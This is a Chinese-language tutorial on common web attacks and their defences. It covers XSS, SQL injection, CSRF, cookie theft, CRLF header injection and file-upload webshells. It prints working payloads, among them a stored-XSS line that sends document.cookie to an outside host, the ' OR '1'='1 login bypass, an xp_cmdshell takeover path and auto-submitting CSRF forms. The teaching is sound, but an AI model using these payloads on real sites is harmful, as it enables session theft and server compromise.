常见的 web 攻击方式和举例

一个网站,如果不注意安全方面的问题,很容易被人攻击,下面就讨论一下几种常见的漏洞的简介与原理分析

一.跨站脚本攻击(xss)

恶意攻击者通过往 Web 页面里插入恶意 html 代码，当用户浏览该页之时，嵌入其中 Web 里面的 html 代码会被执行，从而达到恶意攻击用户的特殊目的。下面我们来分析一下 xss 的特点：

1、耗时间

2、有一定几率不成功

3、没有相应的软件来完成自动化攻击

4、前期需要基本的 html、js 功底，后期需要扎实的 html、js、actionscript2/3.0 等语言的功底

5、是一种被动的攻击手法

6、对 website 有 http-only、crossdomian.xml 没有用

但是这些并没有影响黑客对此漏洞的偏爱，原因不需要多，只需要一个。

Xss 几乎每个网站都存在，google、baidu、360 等都存在。

下面来看一个例子：

```
    <span style="font-size:14px;"><html>

    <head>

        <meta http-equiv="Content-Type" content="text/htm
l;charset="utf-8">
```

```
        <title>xss 原理重现</title>
    </head>
    <body>
        <center>
        <h6>把我们输入的字符串  输出到 input 里的 value 属性里</h
6>
        <form action=""  method="POST">
        <h6>请输入你想显现的字符串</h6>
        <input type="text" name="xss_input" value="输入"><b
r>
        <input type="submit">
        </form>
        <hr>
    <?php
    header("Content-Type:text/html;charset=utf-8");
    $xss=$_POST['xss_input'];
    if(isset($xss)){
    echo '<input type="text" value="'.$xss.'">';
    }else{
    echo '<input type="type" value="输出">';
    }
    ?>
```

```
    </center>

    </body>

    </html></span>
```

我们在输入框里输入

```
    "><script>alert('xss')</script>
```

分析这一段的代码，前面的"＞是为了闭合前面的 input，这个输入就可以使弹窗出现

我们也可以通过输入

```
    " onclick="alert('xss')
```

因为 onclick 是鼠标点击事件，也就是说当你的鼠标点击第二个 input 输入框的时候，

就会触发 onclick 事件，然后执行

Js 可以干很多的事，可以获取 cookies(对 http-only 没用)、控制用户的动作(发帖、私信什么的)等等。

比如我们在网站的留言区输入下面的代码：

```
    <script src="js_url"></script>
```

当管理员进后台浏览留言的时候，就会触发，然后管理员的 cookies 和后台地址还有管理员浏览器版本等等你都可以获取到了

那假如说网站禁止过滤了 script 这时该怎么办呢，记住一句话，这是我总结出来的“xss 就是在页面执行你想要的 js”不用管那么多，只要能运行我们的 js 就 OK，比如用 img 标签或者 a 标签。我们可以这样写

<img src=1 onerror=alert('xss')>当找不到图片名为 1 的文件时，执行 alert('xss')

s 点击 s 时运行 alert('xss')

<iframe src=javascript:alert('xss');height=0 width=0 /><iframe>利用 iframe 的 src 来弹窗

下面是 **XSS** 攻击方法：

Stored XSS

Stored XSS 是存储式 XSS 漏洞，由于其攻击代码已经存储到服务器上或者数据库中，所以受害者是很多人。

场景二：

a.com 可以发文章，假设我登录后在 a.com 中发布了一篇文章，文章中包含了恶意代码，

```
<script>window.open(“www.b.com?param=”+document.cookie)</script>，
```

然后保存文章。

这时 Tom 和 Jack 看到了我发布的文章，当在查看我的文章时就都中招了，他们的 cookie 信息都发送到了我的服务器上，攻击成功！这个过程中，受害者是多个人。

Stored XSS 漏洞危害性相比于常规的 xxs 攻击更大，危害面更广。

XSS 防御方法：

完善的过滤体系

永远不相信用户的输入。需要对用户的输入进行处理，只允许输入合法的值，其它值一概过滤掉。

Html encode

假如某些情况下，我们不能对用户数据进行严格的过滤，那我们也需要对标签进行转换。

```
less-than character (<)        &lt;

greater-than character (>)     &gt;

ampersand character (&)        &amp;

double-quote character (")     &quot;

space character( )              

Any ASCII code character whose code is greater-than or equal to 0x80        &#<number>, where <number> is the ASCII character value.
```

比如用户输入：

```
<script>window.location.href=”http://www.baidu.com”;</script>,
```

保存后最终存储的会是：

<script>window.location.href="http://www.baidu.com"</script>在展现时浏览器会对这些字符转换成文本内容显示，而不是一段可执行的代码。

下面提供两种 Html encode 的方法。

1.使用 Apache 的 commons-lang.jar

```
StringEscapeUtils.escapeHtml(str);//
```

汉字会转换成对应的 ASCII 码，空格不转换

2.自己实现转换，只转换部分字符

二.SQL 注入(sql injection)

所谓 SQL 注入，就是通过把 SQL 命令插入到 Web 表单提交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的 SQL 命令。具体来说，它是利用现有应用程序,将(恶意)的 SQL 命令注入到后台数据库引擎执行的能力，它可以通过在 Web 表单中输入（恶意）SQL 语句得到一个存在安全漏洞的网站上的数据库，而不是按照设计者意图去执行 SQL 语句。

先举个例子，你要登录一个网站，上面让你输入用户名字和密码。那么，假如你输入的用户名是 admin ,但是你不知道密码,你就输入了一个 1' OR '1' = '1 ，那么，你就提交了两个参数给服务器。假如，服务器拿这两个参数拼 SQL 语句：

```
SELECT T.* FROM XXX_TABLE TWHERE T.USER_ID = '/*param1*/'AND T.PASSWORD = '/*param2*/'
```

那么，你提交的两个参数就使 SQL 文变成了：

```
SELECT T.* FROM XXX_TABLE TWHERE T.USER_ID = 'admin'AND T.PASSWORD = '1' OR '1' = '1'
```

那么，这个 SQL 原来的校验功能就被你绕过去了，你的这种行为就称之为

SQL 注入

为了成功注入 SQL 命令，攻击者必须将开发者现有的 sql 命令转化成合法的 sql 语句，当然，要盲注总是有难度的，但一般都是

'OR1=1–

或者

')OR1=1--

总结一下 SQL 注入的思路

1. SQL 注入漏洞的判断，即寻找注入点

2. 判断后台数据库类型

3. 确定 XP_CMDSHELL 可执行情况；若当前连接数据的帐号具有 SA 权限，且 master.dbo.xp_cmdshell 扩展存储过程(调用此存储过程可以直接使用操作系统的 shell)能够正确执行，则整个计算机可以通过几种方法完全控制，也就完成了整个注入过程

否则继续：

1. 发现 WEB 虚拟目录

2. 上传 ASP 木马；

3. 得到管理员权限

对 SQL 注入的防御方法：

1.使用参数化的过滤性语句

2.避免出现详细的错误信息

3.使用专业的漏洞扫描工具

4.避免使用解释程序

5.企业要 web 应用程序开发过程的所有阶段实施代码的安全检查

三.跨站请求攻击(CSRF)

尽管听起来像跨站脚本(XSS），但它与 XSS 非常不同，并且攻击方式几乎相左。XSS 利用站点内的信任用户，而 CSRF 则通过伪装来自受信任用户的请求来利用受信任的网站。与 XSS 攻击相比，CSRF 攻击往往不大流行（因此对其进行防范的资源也相当稀少）和难以防范，所以被认为比 XSS 更具危险性。

简单来说就是，攻击者盗用了你的身份，以你的名义发送恶意请求。CSRF 能够做的事情包括：以你名义发送邮件，发消息，盗取你的账号，甚至于购买商品，虚拟货币转账……造成的问题包括：个人隐私泄露以及财产安全。

以下是几种类型的 CSRF

1.GET 类型的 CSRF

```
<img src=http://wooyun.org/csrf.php?xx=11 />
```

在访问含有这个 img 的页面后，成功向 http://wooyun.org/csrf.php?xx=11 发出了一次 HTTP 请求。所以，如果将该网址替换为存在 GET 型 CSRF 的地址，就能完成攻击了

2.POST 类型的 CSRF

```
<form action=http://wooyun.org/csrf.php method=POST>
<input type="text" name="xx" value="11" />
</form>
<script> document.forms[0].submit(); </script>
```

访问该页面后，表单会自动提交，相当于模拟用户完成了一次 POST 操作

3.CSRF 的防御

CSRF 的防御可以从服务端和客户端两方面着手，防御效果是从服务端着手效果比较好，现在一般的 CSRF 防御也都在服务端进行。

1.服务端进行 CSRF 防御

服务端的 CSRF 方式方法很多样，但总的思想都是一致的，就是在客户端页面增加伪随机数。

(1).Cookie Hashing(所有表单都包含同一个伪随机值)：

这可能是最简单的解决方案了，因为攻击者不能获得第三方的 Cookie(理论上)，所以表单中的数据也就构造失败了

```
<span style="font-size:14px;"><?php
        //构造加密的 Cookie 信息
        $value = “DefenseSCRF”;
        setcookie(”cookie”, $value, time()+3600);
?></span>
```

在表单里增加 Hash 值，以认证这确实是用户发送的请求。

```
[php] view plain copy
<span style="font-size:14px;">    <?php
        $hash = md5($_COOKIE['cookie']);
    ?>
    <form method=”POST” action=”transfer.php”>
        <input type=”text” name=”toBankId”>
```

```
          <input type=”text” name=”money”>

          <input type=”hidden” name=”hash” value=”<?=$has
h;?>”>

          <input type=”submit” name=”submit” value=”Submi
t”>

       </form></span>
```

然后在服务器端进行 Hash 值验证

```
    [php] view plain copy

    <span style="font-size:14px;">   <?php

              if(isset($_POST['check'])) {

                    $hash = md5($_COOKIE['cookie']);

                    if($_POST['check'] == $hash) {

                          doJob();

                    } else {

                   //...

                    }

              } else {

               //...

              }

       ?></span>
```

四.COOKIE 攻击

通过 Java Script 非常容易访问到当前网站的 cookie。你可以打开任何网站，然后在浏览器地址栏中输 入：javascript:alert(doucment.cookie),立刻就可以看到当前站点的 cookie（如果有的话）。攻击者可以利用这个特性来取得你的关键信息。例如，和 XSS 攻击相配合，攻击者在你的浏览器上执行特定的 Java Script 脚本，取得你的 cookie。假设这个网站仅依赖 cookie 来验证用户身份，那么攻击者就可以假冒你的身份来做一些事情。

现在多数浏览器都支持在 cookie 上打上 HttpOnly 的标记,凡有这个标志的 cookie 就无法通过 Java Script 来取得,如果能在关键 cookie 上打上这个标记,就会大大增强 cookie 的安全性

以下是获取 Cookie 信息的主要途径：

1. 直接读取磁盘的 Cookie 文件，Windows 系统的 Cookie 信息存放目录是 C:/Documents and Settings/%yourname%/Cookies,FireFox 的 Cookie 信息是在 FireFox 的 Profiles 目录中。

2. 使用网络嗅探器来获取网络上船速的 Cookie

3. 使用一些 Cookie 管理工具获取内存或者文件系统中的 cookie

4. 使用跨站脚本来盗取别人的 cookie

假如我们成功获取了 cookie 信息,那下一步理所当然地就是要进行攻击了,常用的攻击步骤有：

1. 查看 Cookie 信息，对 Cookie 信息进行分析

2. 修改 Cookie 中的逻辑判断类信息,比如一些 boolean 标志,01 标志等等,访问服务器，观察服务器的反应。

3. 修改 Cookie 信息中数字类型的信息，比如 id, number 等等这类的值，观察服务器反应。

4. 获取别人的 Cookie 信息，然后根据别人的 Cookie 信息修改自己本地的 Cookie 信息，看服务器是否会把自己识别为其他人。

那我们应该如何防范利用 Cookie 进行的攻击呢?

1. 不要在 Cookie 中保存敏感信息

2. 不要在 Cookie 中保存没有经过加密的或者容易被解密的敏感信息

3. 对从客户端取得的 Cookie 信息进行严格校验

4. 记录非法的 Cookie 信息进行分析，并根据这些信息对系统进行改进。

5. 使用 SSL/TLS 来传递 Cookie 信息

五.HTTP Heads 攻击

凡是用浏览器查看任何 WEB 网站,无论你的 WEB 网站采用何种技术和框架,都用到了 HTTP 协议.HTTP 协议在 Response header 和 content 之间,有一个空行,即两组 CRLF(0x0D 0A)字符。这个空行标志着 headers 的结束和 content 的开始。“聪明”的攻击者可以利用这一点。只要攻击者有办法将任意字符“注入”到 headers 中，这种攻击就可以发生

以登陆为例:有这样一个 url:

http://localhost/login?page=http%3A%2F%2Flocalhost%2Findex

当登录成功以后，需要重定向回 page 参数所指定的页面。下面是重定向发生时的 response headers.

HTTP/1.1 302 Moved Temporarily

Date: Tue, 17 Aug 2010 20:00:29 GMT

Server: Apache mod_fcgid/2.3.5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635

Location: http://localhost/index

假如把 URL 修改一下，变成这个样子：

http://localhost/login?page=http%3A%2F%2Flocalhost%2Fcheckout%0D%0A%0D%0A%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E

那么重定向发生时的 reponse 会变成下面的样子：

HTTP/1.1 302 Moved Temporarily

Date: Tue, 17 Aug 2010 20:00:29 GMT

Server: Apache mod_fcgid/2.3.5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635

Location: http://localhost/checkout<CRLF>

<CRLF>

<script>alert('hello')</script>

这个页面可能会意外地执行隐藏在 URL 中的 javascript。类似的情况不仅发生在重定向 (Location header) 上, 也有可能发生在其它 headers 中, 如 Set-Cookie header。这种攻击如果成功的话，可以做很多事，例如：执行脚本、设置额外的 cookie（<CRLF>Set-Cookie: evil=value）等。

避免这种攻击的方法，就是过滤所有的 response headers，除去 header 中出现的非法字符，尤其是 CRLF

六.上传文件攻击

文件上传漏洞就是对用户上传的文件类型判断不完善, 导致攻击者上传非法类型的文件，从而对网站进行攻击。比如可

传一个网页木马，如果存放文件的目录刚好有执行脚本的权限，那么攻击者就可以得到一个 webshell。

攻击者要想成功实施文件上传攻击，必须要满足以下三个条件：

1.可以上传任意脚本文件，且上传的文件能够被 Web 服务器解析执行，具体来说就是存放上传文件的目录要有执行脚本的权限。

2.用户能够通过 Web 访问这个文件。如果文件上传后，不能通过 Web 访问，那么也不能成功实施攻击。

3.要知道文件上传到服务器后的存放路径和文件名称，因为许多 Web 应用都会修改上传文件的文件名称，那么这时就需要结合其他漏洞去获取到这些信息。如果不知道上传文件的存放路径和文件名称，即使你上传了也无法访问。

6.1 主流文件上传检测方式概述

主流的文件上传检测方式有以下五种：

1.客户端 javascript 检测

客户端检测通常在上传页面里含有专门检测文件上传的 javascript 代码，在文件被上传之前进行检测，最常见的就是检测上传文件的文件类型和大小是否合法。

2.服务端 MIME 类型检测

这类检测方法通过检查 http 包的 Content-Type 字段中的值来判断上传文件是否合法。

3.服务端文件扩展名检测

这类检测方法通过在服务端检测上传文件的扩展名来判断文件是否合法。

4.服务端目录路径检测

这类检测一般通过检测路径是否合法来判断。

5.服务端文件内容检测

6.2 怎样才能绕过这些检测方法？

1.绕过客户端 javascript 检测

这种检测方法是最不安全的，也是最容易被攻击者绕过的。Web 应用不应只采用这一种手段检测上传文件，但可以作为一种辅助手段。因为采用客户端 javascript 检测可以增强应用对用户的友好度。由于 javascript 检测是在客户端实现的，所以我们完全能够控制它。可以在浏览器端禁用 js 脚本，比如在 FireFox 上安装 FireBug 这一插件就可以实现这一功能。另外一种是通过代理工具来实现，下面介绍利用 Burp Suite 来绕过客户端 javascript 检测。Burp Suite 不仅仅只是一个代理工具，更是一款强大的网络渗透利器。

那么如何设计出一个安全的文件上传功能呢？下面我们就来总结一下。

1.设置保存上传文件的目录为不可执行

只要 Web 服务器无法解析该目录下的文件，即使攻击者上传了脚本文件，服务器本身也不会受到影响，此点至关重要。

2.判断文件类型

在判断文件类型时，可以结合使用 MIME Type、后缀检查等方式。在文件类型检查中，强烈建议采用白名单的方式。此外，对于图片的处理可以使用压缩函数或者 resize 函数，在处理图片的同时破坏图片中可能包含的恶意代码。

3.使用随机数改写文件名和文件路径

文件上传如果要执行代码，则需要用户能够访问到这个文件。在某些环境中，用户能上传，但不能访问。如果采用随机数改写了文件名和路径，将极大地增加攻击成本。与此同时，像 webshell.asp;1.jpg 这种文件，将因为文件名被改写而无法成功实施攻击。